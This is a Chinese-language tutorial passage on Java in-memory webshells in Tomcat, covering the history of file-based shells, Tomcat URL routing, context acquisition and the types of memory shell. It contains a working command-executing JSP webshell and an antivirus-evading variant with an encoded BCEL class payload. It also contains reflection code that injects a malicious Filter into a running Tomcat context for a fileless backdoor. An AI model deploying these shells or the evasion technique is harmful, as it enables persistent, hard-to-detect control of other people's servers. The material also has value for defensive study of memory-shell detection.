0x01 内存马概述
1.1 内存马产生的背景
在早期,web应用的安全防护非常有限,webshell都是以文件落地形式存在,攻击者通过文件上传或者命令执行等漏洞将木马文件上传到磁盘中,然后找到上传的路径进行webshell的连接,实现远程控制,常见的有大马、小马、一句话木马等。
<% if("security".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1; byte[] b = new byte[2048]; out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b,0,a));
}
out.print("</pre>");
}
%>
当我们上传该jsp文件时,会发现刚传上去就会服务器杀软给删除
ESET是因为检测到了Runtime.getRuntime().exec(),所以判定为Java的webshell。下面jsp代码进行了免杀处理,bcel可以加载一种特殊格式的字符串,把它加载到jvm中,那么就会得到它的恶意类的class,然后通过反射或者其他方式把恶意类构造出来再调用它的方法
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="com.sun.org.apache.bcel.internal.util.ClassLoader" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
String bcel="$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$85T$dbR$TA$Q$3d$93l2$c9$b2$E$S$c2$cd$bb$u$92$84K$U$f1$G$I$C$82$82$B$zba$e5q$b3$Zp1$d9Mm6$W$7f$e4$abVib$99$w$l$7d$f0$H$fc$H$3fB$ec$d9$EB$8aXV$w$3d$3d$dd$3d$dd$a7$cf$f4$ec$cf$3f$df$be$D$98$c3$8e$8a$u$a68$a6U$f8$e4$3a$c3$91Vq$hw$a4$98Uq$Xs$w$C$b8$a7B$c1$7d$v$k$c8$c0$87$n$3c$92$eb$7c$Y$fdX$e0X$e4x$cc$e0wD$85$n$969$d4$df$eb$e9$a2n$j$a4$b3$aecZ$H$L$M$c1E$d32$dd$r$86$c1$c4ywr$8fAY$b3$L$82$a1$_cZb$a7Z$ca$L$e7$b5$9e$_$K$99$ce6$f4$e2$9e$ee$98r$df2$w$ee$5b$93J$F3$ae$a8$b8$94$deo$94$K$M$beJ$9ea$f4$5c$fe$d5$aaY$y$IG$a2p$84N$g$c3H3$c8$b4$d3$ab$d5$fd$7d$e1$88$c2$ae$e7$a1$Y$a5H$I$Yz$b3$aen$bc$db$d6$cb$5eE$af$c3$rb$89$IbP$d7$8f$MQvM$db$aap$y3$84$5c$bbY$89$n$9eHvk_$cd$daU$c7$Q$h$a6$E$l$96$a0gd$94$868$9e0$M$ff$D1$c3Pw$98$d4$e5$89c$d3$wW$5d$3a$r$f4R$d3$c7$b1$a2a$Vk$g$9eb$9dcC$c33$3c$97$856$a5$d8$d2$f0$CI$N$Zl30UCB$eeb$Y$90$9c$S$y$86$fe6$98$97$f9Cat$9aN$fa$ih$9bN$c9$a0kH$c8$ab$8c$b6$7d$bbU$cb5K$d4$b3z$m$dc$d3$cd$60$HI$z$b3$a4$5e$i$J$83a$a2$db$88$9c1$bdrlCT$w$L$j$95ZF$86$IU$3aC$K$b1$7bR$ad$93$z$3a$3e$92$e8$ea$90$3d$M$b4$5d$ad$c9$90$d6$90$9c$9f$8c7$lA$bd$5c$W$W$N$dd$f4$7f$d0v$ce$m$ae$d3$83$89$d2$cb$a3i$95$b4$93$e6$p$3d$8eAZ$87h$f7$LAzn$c0V$aa$O$d6$80$_W$87$7f$bb$B$r$d7$40$m$f7$V$c1$c9$gx$N$a1$3a$c2u$a8$3bl$5e$99$ae$a1$t7$af$fc$40ljT$a9A$8b$f5$92x$f3$e1$f8wj$aa$86$c8$X$f4$7d$a2l$7e$M$93$iC$88d$90$k1$87F$fa8$c2t$ff$wf$d1$83$V$f4b$T$R$8cx_$F$P$BFq$B$f0$b4$8b$84$94$d1$99$r$5c$c2eB$3aN$bf$x$b8Jy$T$94$f5$gy$V$ea$Mt$c2wL$a6$A$c7$Y$c7$N$8e$9b$i$e3$a4$80$d2$de$o$b7BI$s$e8OCGR$b6$9b$a6$95$d1$gH$7dF$dfG$8f$8da$P$a34F$3d4Z3$a0$85$86$n$e5EM$fe$F$l$eefK$c2$E$A$A";
String a=request.getParameter("cmd");
Class<?> _loader=Class.forName("com.sun.org.apache.bcel.internal.util.ClassLoader");
ClassLoader loader=(ClassLoader)_loader.newInstance();
Class<?> _obj=loader.loadClass(bcel);
Constructor<?> constructor=_obj.getConstructor(String.class);
Object obj =constructor.newInstance(a);
response.getWriter().println("<pre>");
response.getWriter().println(obj.toString());
response.getWriter().println("</pre>");
%>
我们来分析一下文件型webshell的工作流程
- 上传 JSP 文件
- JSP 文件转换为 Servlet
- Servlet 编译成字节码
- 加载并执行 Servlet
- 生成 HTML 响应
- 返回响应给客户端
这种落地式webshell的有一些很明显的缺点:
1、需要落地到磁盘,现在的设备对文件马静态检测率非常高,文件马几乎无法落地
2、网站目录没有写入的权限
3、文件路径需要能被解析
在与安全对抗的过程中,攻击者意识到传统的木马的这些弱点,一旦被检测到文件,攻击者的控制途径将被切断。
普通shell以文件方式存在,做恶意文件识别相对来说是简单的,但是恶意代码被加载到内存中之后,想要查杀是非常困难的。于是内存马出现了,内存马无文件形式不落地驻留内存且难以检测,标志着持久化攻击技术的一次重大升级,所以内存马技术越来越流行。那什么是内存马呢?内存马又是怎么被注入的呢?
1.2 Java内存马的基本原理
内存马是一种不需要在磁盘上写入任何文件、通过直接加载到目标系统内存中的恶意代码。它依赖于Java虚拟机(JVM)动态类加载特性,通过注入和持久化恶意类,实现远程控制、信息窃取或其他恶意操作。由于它们驻留在内存中,除非重启或手动清理,否则内存马在攻击期间会持续存在。
那内存马是怎么实现的呢,这里我们以Tomcat为例,Tomcat 设计了 4 种容器,分别是Engine
、Host
、Context
和Wrapper
。Server
代表 Tomcat 实例。
假如有用户访问一个 URL,比如图中的http://user.shopping.com:8080/order/buy
,Tomcat 如何将这个 URL 定位到一个 Servlet 呢?
- 首先根据协议和端口号确定 Service 和 Engine。Tomcat 默认的 HTTP 连接器监听 8080 端口、默认的 AJP 连接器监听 8009 端口。上面例子中的 URL 访问的是 8080 端口,因此这个请求会被 HTTP 连接器接收,而一个连接器是属于一个 Service 组件的,这样 Service 组件就确定了。我们还知道一个 Service 组件里除了有多个连接器,还有一个容器组件,具体来说就是一个 Engine 容器,因此 Service 确定了也就意味着 Engine 也确定了。
- 根据域名选定 Host。 Service 和 Engine 确定后,Mapper 组件通过 URL 中的域名去查找相应的 Host 容器,比如例子中的 URL 访问的域名是
user.shopping.com
,因此 Mapper 会找到 Host2 这个容器。 - 根据 URL 路径找到 Context 组件。 Host 确定以后,Mapper 根据 URL 的路径来匹配相应的 Web 应用的路径,比如例子中访问的是 /order,因此找到了 Context4 这个 Context 容器。
- 根据 URL 路径找到 Wrapper(Servlet)。 Context 确定后,Mapper 再根据 web.xml 中配置的 Servlet 映射路径来找到具体的 Wrapper 和 Servlet。
内存马的核心概念之一就是获取并控制JVM的上下文(context),即控制JVM中运行时的类、方法、字段、线程等内容。通过操控这些上下文信息,攻击者可以实现对程序行为的修改,从而绕过正常的控制流,执行恶意代码。 可以用class类加载机制实现内存马不落地,只有获取到了context攻击者才能进行下一步,那怎么去获取到context呢?
1)通过jsp的request对象来获取
通过 jsp的pageContext
对象可以直接获取当前 Web 应用的ServletContext
对象,这是 jsp 特性决定的。但是它只能操作当前 Web 应用的上下文,无法跨 Web 应用操作。这确实是 JSP 内存马的一大限制,也是为什么 jsp 方式更适合通过 WebShell(如文件上传漏洞)植入,而不适合反序列化漏洞。
<%
// 获取当前应用的 ServletContext
ServletContext context = pageContext.getServletContext();
out.println("Context Path: " + context.getContextPath());
%>
2) 通过Thread来获取
Tomcat中每个请求的处理过程都会分配一个独立的线程,这个线程会保存当前请求的上下文环境,例如HttpServletRequest
和HttpServletResponse
,以及与请求相关的Context
对象。 可以获取当前线程对象,而线程中有很多对象可以被间接引用,沿着引用链逆向查找,最终可以获取到系统中所有的 context 对象,也能向其他 web 应用注入内存马。
成功在线程中找到了需要的tomcat的context对象
// 获取context
// org.apache.catalina.Context standardContext = (org.apache.catalina.Context) Thread.currentThread().getThreadGroup().threads[3].target.this$0.children.get("localhost").findChildren()[0];
Thread.currentThread().group.threads[5].target.this$0.children.get("localhost").children.get("/mytomcat");
继续演示下怎么在context中插入一个恶意的filter
// 1.获取context对象
org.apache.catalina.Context standardContext = (org.apache.catalina.Context) Thread.currentThread().getThreadGroup().threads[5].target.this$0.children.get("localhost").children.get("/mytomcat");
// 2.创建并配置 FilterDef
FilterDef filterDef = new FilterDef();
filterDef.setFilterName("NewFilter");
filterDef.setFilter(new FilterDemo3()); // 这里是恶意的filter实例
standardContext.addFilterDef(filterDef);
// 3.创建并配置 ApplicationFilterConfig
ApplicationFilterConfig applicationFilterConfig = new ApplicationFilterConfig(standardContext, filterDef);
standardContext.filterConfigs.put("NewFilter", applicationFilterConfig);
// 4.配置 FilterMap
FilterMap f = new FilterMap();
f.setFilterName("NewFilter");
f.addURLPattern("/calc/*");
standardContext.addFilterMap(f);
Thread.currentThread().getThreadGroup().threads[5].target.this$0.children.get("localhost").children.get("/mytomcat");
不同的容器,他对应的context的名称不一样,如 Tomcat 中用于表示 Web 应用上下文的具体实现类为: StandardContext,spring中为 ApplicationContext,weblogic中为 WebAppServletContext 等等。那我们继续看一下Jave的内存马究竟有哪些分类呢?
1.3 Java内存马的类型
Java内存马可以通过多种方式进行实现,依据不同的注入方式和运行原理,常见的Java内存马类型包括:基于Servlet的内存马、基于Filter的内存马、基于Listener的内存马、以及基于字节码操作的内存马等等,每一种类型的内存马都有其独特的实现原理和应用场景。
首先我们看下Servlet-Api内存马,本质可以理解成就是web组件。 他的核心原理为:通过命令执行漏洞、反序列化漏洞、已有传统 Webshell 木马等可以 RCE 执行命令的攻击前提,借助 Java 反射技术,在 JVM 中动态注册一个新的 listener、filter 或者servlet 组件,从而实现在内存中注入可命令执行的无落地文件类的隐蔽木马。特定框架、容器的内存马原理与此类似,如 spring 的controller 内存马,tomcat 的 valve内存马。